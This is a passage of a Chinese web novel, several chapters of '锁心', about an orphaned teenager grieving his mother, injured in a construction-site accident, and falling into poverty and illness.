,突然像不认识她似的,陌生得令他害怕,惊惧得一句话也说不出来,一滴泪也没有。待到三支短香燃毕,一缕缕的烟气从他和母亲的眼睛面前疏散、消亡,他拿起那些抄好的佛经一张张点燃,放在搪瓷盆里,任这么多天熬夜完成的心血一行行、一页页也化成灰烬。他希望这些佛经替他去赎罪,帮他母亲消泯罪孽。金刚经是他母亲有一年带他到栴檀寺里拜佛上香时,母亲向老方丈求得的。那一年母亲总做噩梦,梦到满脸鲜血的林大安跟她说:“你的腰子,你做了孽的腰子害死了我。”母亲带着载轩很虔诚地跪拜在佛祖面前祷告,祈求他的父亲不要再念尘缘,往生超度去。老方丈念在他母亲一片赤诚,送给她一本金刚经,让她闲 24. 锁心 九 《千千杯酒不醉人》全本免费阅读 九 载轩的生日是八月初八,一个民间认为的好日子。以往到了生日这天,母亲会用气球和彩带好好装扮一下家里,弄得喜气洋洋的,另外会用大礼物盒包装好一整年四季的新衣服和他想要的玩具,载轩会很憧憬这一天的到来。后来载轩慢慢了解了一点生物学知识,知道自己的生日也是母亲的受难日。载轩曾问过母亲:“生我的时候痛苦吗?把你疼坏了吧?”母亲笑笑不说话,问得急了,母亲平常地说:“哪个妈妈生孩子的时候不痛呢?你在妈妈肚子里比较瘦小,没怎么让我受罪。”这也让载轩有些愧疚,因为自己的到来而让母亲吃痛。去年生日的时候,已经知道母亲生病的事实,载轩不肯让母亲劳累,正好生日那天是周末,说自己想吃肯德基便邀了母亲一起去吃。母亲虽然没有工夫提前装扮家里,但仍是一个墨绿底小碎花的大礼物盒在载轩起来之前就安放在了客厅茶几上当做惊喜。载轩看着里面的新T恤、新卫衣、两条新裤子、一件厚绒外套和一件新的黑色羽绒服以及数件崭新的熨帖平整的内衣,不由得眼眶红了。那天他和母亲好高兴,俩人吃完喝完手里还各拿着一个甜筒,载轩一手搀着母亲臂膀,边说笑边舔着甜丝丝冰凉凉的奶油冰激凌荡回家去。 而母亲的生日是在他生日后十八天。但母亲并不过生日,自从姥爷去世后,母亲每逢生日都匆忙略过,不要什么仪式和祝福。载轩不懂,母亲为自己的生日颇费苦心,而自己却什么都不要。后来知道,母亲把自己身上的一个肾摘给姥爷的那天就是她的27岁生日,那是很悲剧的一天,母亲把肾给了林大安,而后几天林大安却死于排异反应和器官衰竭。母亲在同一天里几乎失去了父亲和自己的一部分,可见这一天并不那么幸运。载轩也就明白了,怪不得那个月母亲请了同小区的童奶奶来照顾载轩的起居,而母亲消失了半个多月后回来那么憔悴那么虚弱。 载轩仍然记得,第一次看到母亲和程建的合照,那是母亲过23岁生日时程建要求司机给拍下的和母亲唯一的合影,也正是这张合影被程建的家人发现,大闹母亲学校致使母亲丢了工作,公开了母亲被人唾弃的第三者身份。那张照片里母亲笑得莞尔妩媚,是她笑得最开心的一个生日。从那以后,母亲带着他这个拖累,那么辛苦又那么用心地过日子,却始终再没有过过一个生日。 母亲百天忌日之前便是载轩生日,他同母亲一样,努力忘掉那个令她痛苦过也不能再令载轩幸福的日子,把它遗忘在对母亲的追忆中,埋藏在无数个辗转反侧无法安睡的深夜里。 谁曾想,在那之后的中秋节,就发生了意外,载轩差点失去了左小臂。 那天大家干活的劲头都很足,想到晚上可以早下工,还有大餐可以打牙祭,不由得肚肠都馋起来了。那天太阳高高地照着,是个难得的万里无云的大晴天,微微吹过的凉风让出了汗的头颈麻麻痒痒的,怪舒服的。老郭的队伍与南边工棚里的另一支队伍组合在一起,正在给一栋小高层加快垒砖砌墙的工作,一个大工配一个小工,俩人用同一根安全绳绑在一起,以防万一。当天工程进度已经到了第九层,载轩和一个红脸赤膊的大叔组在一起,载轩负责搬砖递砖头,大叔是大工,负责用空心砖砌起不承重的墙面。载轩也撸起了袖子,露出两节晒黑的细长的手臂来,正给脚手架上站着的红脸赤膊的大叔一手一块地递砖。他们这样的组合是临时编组的,之前都不熟,大叔手很稳,节奏也撑得不紧不慢,尽管两个人都是一头一脸的汗,载轩却没有很慌乱地辛苦。 工地上铛铛的打桩机、吊架吊机、土方运输车转个不停,各种嘈杂的声音掩盖住了大叔所站的脚手架上的吱呀声。到了十点多时,另一位大工师傅来找载轩所组的刘师傅聊天,他先是站在砌了一半的墙内侧和刘师傅交流这种空心砖垒砌的方法,然后刘师傅就给他演示砖块长度多余出来应该锯掉哪一部分的时候,这位大工师傅就一只脚迈到了脚手架上,俩人探讨起来。当两个人都站在上面时,那位师傅感受到了脚手架右手边传来的吱呀声,但不以为意,就站回墙内侧继续了一会儿回去干活了。这边的墙砌到规定高度时,刘师傅向右侧移动,准备接着围砌旁边的墙面,让载轩递砖过去。载轩刚趁他们谈话间隙又去背了四趟砖回来。载轩说:“我喝口水。”他拿起自己的水壶灌了几大口,就又操起空心砖往刘师傅那边走去。 刘师傅刚刚把手头的砖砌上去,载轩回身去取砖,突然腰上的安全带猛地后撤,带的载轩猛不妨整个人弯了腰被向后拉去。刘师傅正站起身时脚手架刚才吱呀响的地方突然断裂,刘师傅虽说中等身材不算胖,但一根钢架断掉,脚下的这块木板难以支撑刘师傅的体重还是应声而裂,刘师傅整个人从断裂的木板中间掉了下去,距离下面的脚手架至少有还有四层高,中间再无遮挡,要是掉下去不死也要残废了。载轩和刘师傅两个人绑在同一条安全绳上,刘师傅向下掉去,自然把载轩拽倒。载轩也身形消瘦,等他反应过来扒住脚手架上的一根钢管时,多半个身子已经也从刘师傅掉下的木板洞掉落下去了。他用力拉着,可是刚才断掉的钢管引发了一系列的摇晃和不平衡,墙体的一根裸露出来的钢筋正在他扒着的钢管旁。刘师傅像个倒吊在单根蛛丝上的蜘蛛一样来回晃来晃去,拽得载轩两只扒住钢管的手颤个不停。载轩苦撑了一分钟多,才想到要喊人来救:“救命!有人吗?救命啊!”但他马上就要撑不住了,刘师傅想尽力靠近楼体,好荡进半封的窗口里去,用力一甩,这一动作拽掉了载轩的右手臂,他左手出了汗怕是也坚持不了多久,右手臂掉了下去,想要抓住什么似的来回摆。周围还是太嘈杂了,没有什么人注意到他们俩在绿色罩网的脚手架上命悬一线。 刘师傅想再拼力一搏,哪怕扒住楼体也好,又是用力一甩,载轩跟着吃力那只手也松了。但没有砌好墙的这一侧裸露出一段十公分左右的拇指粗的钢筋正正好在载轩左手臂一侧,载轩松开手的瞬间被这根钢筋插穿了左小臂,载轩痛得大叫起来,眼泪也飚了出来,一时间满脸遽得通红,脖子上的青筋暴突出来像根根蚯蚓似的。所幸是刘师傅这一甩手脚并用扒住了一堵砌好砖石的阳台,不再用力拽扯载轩了。载轩被钢筋插穿的小臂一行行的鲜血顺着臂膀往下流,他万分痛苦地靠着这节小臂拉住整个身体的重量,已经发不出什么有力的呼喊了。 刚才脚手架的震动,已经让同一楼层施工的人注意到了危险,都撤到楼里来,有经验的师傅赶忙各个地方地察看着,找到载轩他们在的这个屋时,没有看到人,往外一瞧,只见血淋漓的一段胳膊插在一截钢筋上,脚手架已经破了一个大洞,赶紧喊人来救。刘师傅那里也有人紧跑下去连拉带抱地救回了楼里,但一通拉拽又使得载轩的身体向下扯动,痛得载轩惨叫几声便剩下大口喘气。在载轩这里的几个人不敢再上脚手架上去,但载轩除了一节手臂,剩下的身体都在下方,根本无处 25. 锁心 十 《千千杯酒不醉人》全本免费阅读 十 “关灯睡觉吧!夜里有什么事按床头的呼叫器。”护士进到病房里,对载轩他们说道。 “你回去吧,明天还要上工呢。”还很虚弱的载轩对王敏说。 “也行,有什么事你打我电话,打老郭电话都行。不舒服就叫护士。这里有两百块,老郭安顿我给你留下的,让他们帮着你买饭。”王敏把钱塞到载轩的枕头下,然后盯着输液瓶子里的液体缓缓说道,“会好的,我得空就来看你。” 病房里载轩一个人静静地躺在那里,他确实有些累了,在白床单、白色被罩的包裹下,套着宽大的病号服,右手扎着输液管子,拇指上戴着血氧检测仪,左胳膊被弹力绷带高高吊起,整个身子被逼迫地无法动弹。他尝试着动动左手的手指,但麻药的力量完全使他的手指接收不到大脑给出的指令,只好保持着现有姿势静静地睡下去。 他这次梦到了母亲。梦到他站在母亲只露出一颗形容枯槁的头颅、身体被白被单覆盖住的面前,他和母亲犹如两具安静的石雕一动不动,他嘴里喃喃地说:“对不起,对不起,对不起······”他有那么多话要和母亲说,可却一句都说不出来。他的心已经要碎掉了,像玻璃杯重重摔碎在地上,迸裂出无数透明的棱角分明的玻璃渣,一片片一块块,他怎么也捡不起来那些碎片,怎么也拼凑不出一颗完好的心脏。他对母亲最后的记忆停留在了那次最后的会面,他的母亲一个字也不肯吐露,一个笑容也不复现,长长了的头发捋不顺捋不直,脸上还残留着呼吸机的勒痕。梦还没有醒,他流下的眼泪已经在枕头上有两小块湿迹。 他想到母亲的一生,想到自己浅浅的十几年,过往的回忆一幕幕在脑海里翻腾,他终于给出了那个问题的答案:他不后悔。即使是让他再选一次,他还是会像现在这样选择。那是他的母亲,相依为命的母亲,他有什么理由不全力以赴地救她呢?即使是还会在程建家遭一顿打,在工地上出这样的意外差点失去一条胳膊,他也还是会义无反顾地去尝试去拼命。他不后悔自己的决定,不后悔自己因使尽全力而蹉跎了自己的命运,不后悔一次次挫败一次次被拒绝仍顽强地争取。他只是遗憾,遗憾没有把母亲救活,如果母亲能因他的努力而活下去,他吃再多苦也愿意;遗憾自己没有尽早地服侍在母亲面前,替她分担一点苦痛;遗憾自己没有更大的能力去赚来钱,好让母亲有更好的治疗余地;遗憾自己的出现没有给母亲带来幸福的结局······但母亲值得他这样做,如果爱与被爱不能双向奔赴,那人生还有什么意义呢? 老郭和王石在载轩出院前来了医院一趟,带来一些水果和一箱牛奶。王石代表载轩的亲属和老郭与对方据理力争,终于把赔偿方案敲定了,对方不仅负担载轩医院的费用,另外赔偿给林载轩三万五千元。 “娃仔,你要明白,你这么小在我们那里做工是不合法的,如果人家嚷开来,我是要坐牢的。”老郭坐在载轩的床边,很郑重地说,“所以这件事不能经公,只能私了的。谁也不想出这样的意外对不对?” 载轩没有说话,半坐在床上,看着自己那条裹得严严实实、外面绑了固定钢架的左胳膊。 “娃仔,工地上干活难免出意外,捡回一条命来是你命大。大夫也说了以后不影响正常的生活的。要向前看,向前看嘛!”这回是王石开口了,就是载轩跪在人家家门口求人家借钱的王叔。这次王石听到他出事,他的老婆还埋怨他半天:“早说过,不要发善心不要发善心,出了事一辈子赖在你头上。”王石叹叹气,还是跟老郭一起出面,去要了赔偿。对方的人一开始口气很硬,说道:“都说过的,谁的人谁担责。再者你用未成年人,我们是不告你,告了你你都得蹲牢子去。”王石也露出一副凶狠的样子:“去告噻,坐牢我认了,你以后要不要在这里面混?咋个混?你自己想清楚了,这是安全事故,要告,开发商、施工队、老总一个也逃不了。”好一顿纠缠,最后才商议成这样。 载轩心里默默地想,一条半废的胳膊只能换来三万多块钱,还真是讽刺。“命如草芥”四个字知道怎么写了。 老郭和王叔走了后,医生来查房,通知载轩明天可以出院了。载轩抬起头,问大夫:“我的胳膊能恢复到什么程度?” “这个看以后的康复情况,你还年轻,很大程度能恢复到以前运动功能的百分之八十。”大夫临出门前,叮嘱他,“你贫血挺严重的,回去要多吃些补血的食物,不要劳累。” 他再次试着动弹左手,几根竹节般枯瘦的手指不停使唤似的颤动着,却还是做不了相应的动作,他很徒然地放下了那只绑了固定钢架的手臂。 他记起母亲第一次在ICU病房呆了九天,回到普通病房的第一天。他心疼地看着瘦成皮包骨头的母亲,他打来热水,用热毛巾一点一点地擦洗着母亲的身体,他说:“妈,你抬下胳膊,把这边靠靠。”但是他的母亲,很努力地想要抬起那条九天来绑着各种管子仪器的僵直了的胳膊,却只是颤颤地略微移动了一下没能抬起来。母亲很愧疚地说:“不要擦了吧!”载轩忍不住眼泪,放下毛巾,跑到楼道里蹲在地下,把 26. 锁心 十一 《千千杯酒不醉人》全本免费阅读 十一 林载轩的生活归于平静。 在家安心养伤的时候,他用那条还是完好的胳膊把家里仔仔细细打扫了一遍,把妈妈穿过的衣服、用过的东西都一一叠放在大塑料袋里,拿到楼下轻轻地、很郑重地与它们告别后,放在了垃圾桶里。地上已经积了厚厚一层灰,用扫把一扫尘土飞扬,呛得他连连咳嗽。他只好打来清水,跪坐在地上一块砖一块砖地蘸了湿擦洗,另只手使不上劲,他那右手就格外吃力些,动作也慢了许多。但他是擦洗得那么认真,现在没有事做,时间也分外长了起来。从清晨到日暮,他用了整整两天的时间,干一会儿缓一缓,终于把家里的地面清理得一如从前。 家里又恢复了从前母亲在时的干净整洁,只是可移动的家具们都一一变卖掉,家里也变得十分空旷,更显出主人公的寂寥来。 他决定先去还一部分的钱。 过了国庆假后的第二天,他拿着报纸包裹着的那包钱,那包他用半条废手臂换来的赔偿款,把他装到书包里,坐了公交车来到市二医院住院楼。 林芳清去世后第二天,王主任的老婆就和谭阿姨说了这件事情的头尾。当初也是王主任的老婆和杜明的爷爷是一个单位上下级的关系,两家也经常走动,谭阿姨就是通过这个关系来帮助林芳清治病的。但事情最后发展成那样,王主任要垫好几个月的奖金绩效,让他老婆极其恼火,以至于谭阿姨在人家面前也抬不起头来,关系也逐渐疏远了。载轩不知道这件事,杜明妈妈当然也没有当他的面把这件事说明,只是那次谈话谭阿姨有意无意地提醒载轩及时放弃,其实就是在想办法止损,后来闹成那样谭阿姨从心底里嫌了载轩,他又几次不接人家电话,连短信也不回,谭阿姨自然以为这个孩子不知感恩,代入了东郭先生和狼的角色。在家里也跟杜明爸爸抱怨过几次,几回杜明也在场,杜明爸爸还是同以前一样不表态不发言,杜明想替载轩分辨几句,终被其妈妈大发雷霆的样子止住了嘴。 载轩来到7层肾内科医生办公室门前,现在已经过了医生查房的时间,如若王主任没有手术,就和其他医生们一起在探讨病人的病情和治疗。他先是碰到了以前经常照顾他的护士,很有礼貌地打招呼:“王姐好,王主任在吗?” 那个护士认出了他,过来拍拍他的肩,不同于上次的冷漠,蛮好奇地问他:“你找王主任还有事啊?” “哦,我来看看他。我很感激······”载轩话还没有说完,就有病房响起了呼叫声,那位护士紧跑几步走了。 门关着,他透过门前的一窄溜玻璃看到医生们正围坐在中间的大办公桌前商讨着些什么,他没有推门进去打扰,站在门外一米的地方等着。宋阳医师透过玻璃也注意到了门口的来人,站起身打开门,看到是林载轩,先是很惊讶,然后问:“你有······有什么事吗?” “宋医生好,王主任在吗?” “哦,在里面。”宋阳转身进了办公室,俯身在背对着门口的王主任耳边说了几句。 接着宋医生叫载轩:“进来说。” 载轩进到里面,办公桌前刚才坐着的人们散开来,剩了王主任拿起保温杯喝水,还背对着门口坐着。 “王主任,我是林载轩,林芳清的儿子。”载轩看到王主任无动于衷,宋医生坐在了旁侧的一把椅子上,拿起一本病例看,顿了顿,用右手卸下书包放到桌上,拉开拉链,拿出那一包钱地道王主任眼前,继续说,“我知道前段时间给您添了好些麻烦,我很感激您用尽全力救我母亲,欠的钱一定很多,我今天先来补上一部分。” 王主任放下保温杯,看了看那一包报纸裹住的长方体块状物,有些吃惊地问:“你一个孩子哪来的钱?” “您放心,是我干干净净赚来的钱。”载轩今天穿了宽大的厚绒外套,绑了固定支架的那只手臂藏在袖子里,一直放在下腹部,没有抬起来过。他接着又问:“这里是三万五,还得麻烦您给查查还差多少?可能我短时间内赚不到那么多,我会慢慢来还的。” 宋医生注意到了他的那只没有动过的手臂,站起身走过来:“你那只手怎么了?” 此时王主任也站了起来,其他的医生听到对话,也好奇地往这边看过来。 载轩把那只手臂慢慢转移到身后,低着头回答:“没什么。” 王医生拉起了他的那只受伤的手臂,他的左手要比正常的体温低一些,王主任的手慢慢往上探,摸到了硬邦邦的固定支架。于是,宋医生配合王主任慢慢褪下了他的外套,他里面只穿着一件半袖,露出来的左小臂贴着换药贴,从肘到腕处绑着金属固定支架。 “怎么回事?”宋阳问。 “在工地干活,不小心受了伤。”载轩假装镇定地回答。 几个月来他像是昼伏夜出的蝙蝠,只有早晨和入了夜才会看到他在回家路上、小区里的身影,其余时间像是在蛰伏一般很少遇到熟识的人。这几天他同样很害怕白天出去遇到熟人,怕他们问他:“你母亲怎么样了?”“你胳膊怎么了?”他会很慌乱,内心很受伤地不知道该怎么回答。 面对王主任他们,他同样不知道该怎么解释,钱是他受伤了包工头赔给他的吗?是他用半废的手臂、再不能弹琴的手臂换来的吗?他无从开口,悲剧发生在他身上,刀子钝钝地割着自己的心,他无法提及就像给伤口撒盐般的话语,他更无法像王敏提起自己伤心事那样漫不经心似的不在意。 “伤了什么地方?伤口还挺长的。”王主任追问道。 “钢筋插穿了,医生说会好的。”载轩的声音开始发抖了。 王主任拿起那包钱塞进书包,拉上拉链,往载轩怀里一塞,语气很重地说:“不用你还了,你拿着好好治你的胳膊,不要留下后遗症。” 然后拿起保温杯准备出门去,回过头又嘱咐他:“你妈妈的事过去了,你要保护好自己,好好学习,好好生活。” 载轩把书包仍放在桌上,冲着王主任“噗通”一声跪下去,声音还颤颤地说道:“我知道我母亲让您为难了,您为我母亲做了所有能做不能做的,我真的很感激您。但我不能做那种忘恩负义的小人,您不收下这个钱,我的良心过不去,我的母亲九泉之下也会怪我。求您收下吧!”说着,右手伏地,磕起响头来。 宋阳赶忙往起拽他,可他倔犟地跪着不动,其他的医生也都站起身来,开始你一句我一句地劝他起身,王主任也立刻折回身来搀扶载轩。 上次林芳清的事情弄得科室里不愉快了好些日子,王主任跟同事们抬头不见低头见的,每天带着些许尴尬和愧意,来上班都不是滋味。可是怎么办呢?把林芳清母子撵出去吗?让他绝望吗?自己本身是治病救人的,既要救生了病的与死神抢夺生命,也要救那些濒临崩溃的家属给他们些希望,如若只做了该做的,而不能施以仁慈之心,那何为医者仁心呢? 但载轩摇着头,死不肯起来,仍跪伏在地下。王主任用眼神示意宋阳抱起他来。 “你听我说,我知道你是个好孩子。可你以后也要生活,你现在受了伤更要好好治疗,你的一辈子还很长。你妈妈的事过去了,懂吗?”王主任有些着急地说道,宋阳和好几个男医生连拖带抱将载轩弄到一把椅子上。 “我能还上那些钱,我可以。”载轩说着,又把屁股挪了椅子,朝下跪下去。 宋阳见拉他不住,很无奈地两手扶着办公桌,低了头叹气。 “王主任,我知道你们 27. 锁心 十二 《千千杯酒不醉人》全本免费阅读 十二 事实上他有些高估了自己的能力和极限。 之前林芳清生病时医生说了什么要注意什么,载轩记得一清二楚,要母亲控制喝水量,他能拿着量杯分厘不错地喂水喂药;要母亲少摄入高磷食物,他会查阅资料,一种一种的比较食材的优良;要帮助母亲勤翻身、被迫运动,他会定时定点帮着母亲翻动身体、揉搓肌肉······反过来,轮到自己,他把医生吩咐的话像是忘光了。还和原来一样,饭是能怎么凑合就怎么凑合,捡来一些菜叶子,摘洗干净随意放进锅里,倒一些水,再撒一把大米,这就算是一顿饭。不过也怨不得他,失去了工地干活的机会,没有收入。 王敏留给他的那点钱,去一趟医院就所剩无几,还要应付一日三餐,只好能俭省就俭省。 但问题也就是出在他长时间的这样敷衍自己的肚子上。 他胳膊上的伤口已经基本愈合,但还需要固定支架再固定一段时间,本应换成更舒适的塑胶圈的,但他兜里空空如也,也就还将就着用原来那个硬邦邦的金属支架。使得他很难穿上长袖衣服,天气见凉,他也只能在外面套个暖和的外套。他有时望着胳膊上那条像红色拉链般丑陋的伤痕,中间还有处被钢筋穿透的地方瘢痕更粗更大,白白的手臂像是被那条十多公分的瘢痕分成了两半,几根手指还是不能准确地作出相应动作,而且用力握住的时候就会微微地、不由自主地颤抖,就难以释怀,心里仿佛又扎了一根刺,不时刺激到他。 这段时间他为了填饱肚子,又开始了捡拾塑料瓶和废纸箱拿去换钱的日子。他不得不放下自己那点可怜的自尊,在小区的各个垃圾桶里翻检起来,有时碰到熟识的阿姨、奶奶,他会很羞愧似的把脸别过去,不去看他们。一开始他们还会摇头叹息,或者关心地问候他,后来见到他那样子,也就默默走开了;也有同一单元的好心邻居,看到他的窘迫,主动把废纸箱和塑料瓶放到他的门前,他回来后依旧把它们收拾好,拿进家里堆放在客厅一角。 他是发现从暮秋时自己断断续续经常流鼻血的。之前在工地干活时流过那么一两次,流得很凶,好半天才能止得住。他只是以为自己上了火,多喝水就会好。但这段时间不同那两次,每次也是流一小会儿,血很稀,并不浓稠,流速也不快,用卫生纸团成小团,塞几回就好了。 真正体察到自己可能有了问题,是在那天洗澡后。自打上次受伤手术后,他一直没有洗过澡,只是拿热水把能够到的地方擦洗擦洗。好容易过了两个月,可以摘掉金属支架了,其实医生还想让他查查血,他没有那么多钱,谎称自己吃过早饭了验血不准,就答应过几天再来。其后也没有再去,他没有攒够钱,温饱暂时还没能解决呢,再多的支出对他来说都是奢望。由于没有钱交暖气费,今年他家就停了暖。这些天五元十元的攒了二百多,只够交停暖的管理费,交完又一无所剩。 赶上这天太阳很暖,他趁着中午的功夫洗了个澡,洗澡时发现自己的脚面到小腿有很多圆圆的小米大小的血点,而且手指头按上去好像浮肿似的一个小坑一个小坑的,半天才能恢复原状。他感觉不太妙。 虽然自己并没有什么特别难受的地方,但他要比之前嗜睡,也更易感到疲乏。以前他晚上不敢开灯,怕费了电,又要缴一笔费用,晚上的夜那么长,那么难熬。有时会就着月光看一会儿书,可视线不好,也勉强得很。现在晚上躺在床上,静静地听着自己的心跳声,不一会儿便睡着了,会做奇奇怪怪的梦,也会一觉到天亮,醒来自己窝在被子里的脊背会出些冷汗,屋子里的阴冷也让他很不想爬出被窝来。白天里他走得远了、久了,两条腿就酸疲的逼迫他坐在台阶上休息会儿才能继续。 他也想,再去什么地方打工多挣些生活费,这样他说不定到了过年那个学期就可以再去学校。何老师暑假里问过他一次,什么时候上学去呢,学校为他办了休学,复学前要联系何老师。可是他的那只手臂,一点重物都提不动,那天就和右手一起搬着一摞厚纸箱上楼,回了家那只手臂就颤个不停,被钢筋插穿的地方好似细针扎一样的疼,整条手臂说不清是骨头疼还是肌肉疼、神经疼,反正是一抽一抽的痛楚不断传来,他用热水敷了一晚上,又缓了一夜,第二天才感觉好一些。这样的他去哪里打工,人家会要呢? 他浸淫医院那么久,不少病症自己也看得很多,联想到自己近来的种种症状,估摸着应该是血液病。但他手头又没了钱。 钱,钱,这种万恶的东西,今年一年为了它自己吃了多少苦头,受了多少罪,一个本子都记不下。世人慌慌张张,只为碎银几两;偏这碎银几两,能解世人慌张。 一文钱难倒英雄汉。 载轩知道,如果自己再病了,恐怕这回没有人能救自己。 第二天他把那些积攒的瓶子收集在一个大编织袋里,背着去废品收购站卖钱。十五块五。 只够挂个普通号。要是还有别的检查,只能放弃,这一趟算是徒而无功。所以还要再攒攒。 他忽略了,自己的肚子,一直在辜负它。几乎一年来他没有怎么善待自己的胃。长时间的亏待使得他营养不良,体型消瘦。在工地那段时间,有中午一餐的加持勉强可以维持一白天的体力劳动,可是早晚马马虎虎的餐食就显得有些可怜兮兮了。养病期间,本来他应该参照医嘱,多吃补血的食物,多吃有营养的东西。可是他除了那一箱老郭拿来的牛奶外,没有买过什么有营养的食品,更不要提他那一日三餐或一日只有两餐的敷衍了事了。 有些事,真的,有心无力。 贫穷是最无法欲盖弥彰的。当贫穷已经威胁到一个人的生命时,那就相当于死神下了请帖,什么时候赴宴就要看死神的耐心了。 命运像是跟他开玩笑似的,好不容易看到一丝未来的希望,又送来一根勒脖的白绫。 冬月初,冷空气来袭,气温骤降。处处都是初冬的肃杀之气,树上的叶子已落尽,早晨起来,地上树上及汽车上都覆盖了一层白霜。载轩这几天天天很早就出去捡拾废品了,没办法,光是北水街就有好几个拾荒的老人,他一个半大孩子夹杂在里面抢地盘,显得有些势单力薄。况且他又是个较为儒雅的孩子,被别人呛声欺负也不会还口。好几次有个精神不太正常的老太太公然从他手里抢走瓶子,那天他不给,那个老太便纠扯起来,恰巧碰到他受伤的胳膊,他吃痛手松开了。从那以后,他碰到老太都要躲着走,生怕那个老太故意来弄痛他的左臂。天气冷,可回收的废品就那么多,他只有赶早,趁着送孩子的家长扔一批垃圾,从中淘换些什么。累了一天下来,只有几个纸箱子和两个空油桶算是收获。可早已走得筋疲力尽的两条腿,使他仰倒在床上。身上脏污的衣服已经在进门时就脱在了门口,但身上那么一股垃圾箱的臭味,却很难消除,弥漫在屋子里久久不散。 歌里唱:有妈的孩子是块宝,没妈的孩子是野草。载轩躺在沉下来的夜色里想,原来歌里唱得不错,母亲在时,哪里经得过这些?可现在自己为了吃一口饭,竟要落魄到如此境地!上学,他想到上学,今天路过光明小学,听到里面孩子们大声朗诵的读书声,自己好生羡慕。他也想复学,可是······ 敲门声响了,载轩拖着疲倦的身躯,来到门口问:“谁?” “物业的。快到年底了,交一下今年的物业费吧。”一个胸前戴着工作牌的卷头发阿姨站在门外。 载轩早就看到了小区公示栏里的通知,如若不交物业费的,就限制购电,自己这一年来,除了用用热水壶外,很少用电,去年母亲买的电还没有用完,但能坚持到明年几月份是不确定的。 物业人员又敲响了载轩的家门。载轩开了门,没有开灯,家里是月光浸渗下的黑蒙蒙,“阿姨,我缓交几天行吗?” 物业来了两个人,从楼梯上又下来一位穿着蓝工装套着军大衣的四十左右的大叔。 大叔是物业公司的电工师傅,会帮着居民们解决解决电路问题。大叔早就在小区注意到一个十来岁的孩子捡废品为生,看见门里的他就问:“怎么不开灯啊?灯坏了吗?”说着还绕过阿姨,进到门里来,摁开开关,暖黄色的灯光下,客厅里堆了两堆废品,散发出一阵一阵难闻的气味,阿姨也跟进到门里来 28. 锁心 十三 《千千杯酒不醉人》全本免费阅读 十三 林芳清的手机早在两个月前停了机。还是之前母亲住院前预存的话费,用了快一年的时间,那点钱也被月租费耗尽了,尽管载轩很少打电话,也很少接到电话。之前有两个陌生号打进来,问:“是林老师吧?”载轩这一头冷冷地回答:“她去世了。”对方听到便挂断了,剩下嘟嘟嘟的回声。现在他也没什么用电话的地方。 谭阿姨听说了熙苑小区以前的老邻居们的议论声,打林芳清电话已经停机了。上次载轩的突然出现让他们都惊了一跳,弄得谭阿姨还心里纠结了半天。 谭阿姨和杜明趁着周日下午补完课,来到载轩家找他。 等了好一会儿,暮色沉重,只剩下一条橘黄色的弧线挂在天际时,载轩才提着一麻袋废品回来。 载轩在单元门口遇到杜明并没有多吃惊,倒是谭阿姨看到载轩的样子有些惊讶。 “我帮你吧!”杜明背着书包,穿着一身亮蓝的羽绒服,戴着鸭舌帽,伸出一双手来准备帮载轩一起拿东西。 载轩身子往一侧避开,面无表情地说:“不用了,看弄脏你的衣服。” 谭阿姨拉了一把还想上前帮忙的杜明,使了个眼色,跟着载轩进到楼里。 “阿姨有事吗?”载轩看见他们跟在身后,在一楼的台阶下停住了脚,转过身问。 “阿姨听说,你妈妈的骨灰坛在家里放着。”谭阿姨开了口,接着很惋惜地说,“人死为大,你应该安顿好她,让她入土为安吧。就算是放在家里能陪你,但影响是不好的。” “我很想她入土为安,但是墓地你来买吗?”载轩仍旧面无表情地回答。 “你有困难,阿姨知道的。”谭阿姨开始紧张,有点愠火似的,“但你可以把她埋回老家或者什么地方的呀,不至于就放在家里的。” “不放我家,放你家吗?” “哎,你怎么说话呢?我们又没有惹你。”杜明看到载轩说话针尖麦芒似的,不由得也生了气。 谭阿姨掏出之前他还回去的包钱的信封来,递给载轩说:“阿姨不用你还钱,帮你我自愿的,但如果你这样,阿姨就全当帮错了人。” 载轩用胳膊推回去谭阿姨的手,“您帮错了人。如果今天是来看我笑话的,笑够了就走吧。”说完就抬起麻袋往楼上走去。 杜明紧跑两步追上载轩,扯住载轩脏污了的黑色羽绒服的衣领,“我们来看你笑话的?你觉得我是来看你笑话的?” 载轩往前扭着身子,想挣脱杜明的手,如同刚才的语气呛杜明:“那来干什么?把钱甩在我脸上,羞辱我穷吗?” “你这么不可理喻的吗?”杜明一脸的不可思议,带着愤怒跑出了单元门。 谭阿姨收回了钱,说了句:“林载轩,我看错了你。”然后头也不回地走了。 载轩跪在母亲面前,嘴边还有一小团淤青,呜呜地哭了起来。 好几天因为生气,他就随便吃一口挂面,或是煮点菜叶子就算是一天的饭了。他说不清是生谁的气,生那个物业公司阿姨的气吗,肯定是她说出去的骨灰坛的事的;是生邻居们的气吗,怨人家只顾自己,不来可怜他吗;还是生杜明和他妈妈的气呢,没有想到他们是因为家里放骨灰坛的事来找自己;到底是生自己的气,气自己没本事安葬母亲,恨自己没有钱。因为生气,所以什么也吃不下,越吃不下,胃还一阵一阵地疼,昨天夜里疼起来,疼得他蜷缩在被子里,身上的汗都浸湿了秋衣。疼过那一阵子,连下地喝水的力气都没有,只想窝在被子里睡过去。 他还是在母亲面前什么也说不出来,千千万万的话都堵在嗓子眼里,憋在自己心里,越想越痛,哭的声音也大了起来,成了嚎啕大哭。 这是惩罚他吗?因为自己没有照顾好母亲而受到老天的诘难?还是因为自己不应该出生而受到老天的谴责?他曾经也幻想着,如果自己在一个正常的家庭里该多好,就像杜明那样;或者哪怕是妈妈又找了个男人,自己有后爸,可以有个人像爸爸一样照顾这个家、照顾自己;再不济母亲不要生病,还像从前那样平平淡淡过下去。可是眼前的冰冷的现实告诉他,不可能了,不可能的,在人生这座高峰面前,他仅剩了孤军奋战。 但恐怕他还未用尽全力攀上峰顶,便折在了山脚的荆棘里。 物业的人又来过一次,催促他尽快把母亲的骨灰坛挪走,已经有很多住户的反映,他们也很难做。载轩低了头没有答话。 接连几天他都没有出门,他不敢见到那些恨不得赶走他们母子的人的面孔,他怕极了被群起攻之的场景,自己犹如是犯了天大的错一样,被团团围住,凌迟一样一刀一刀割着他的心,痛得他眼前殷红一片、耳朵里嗡嗡作响。 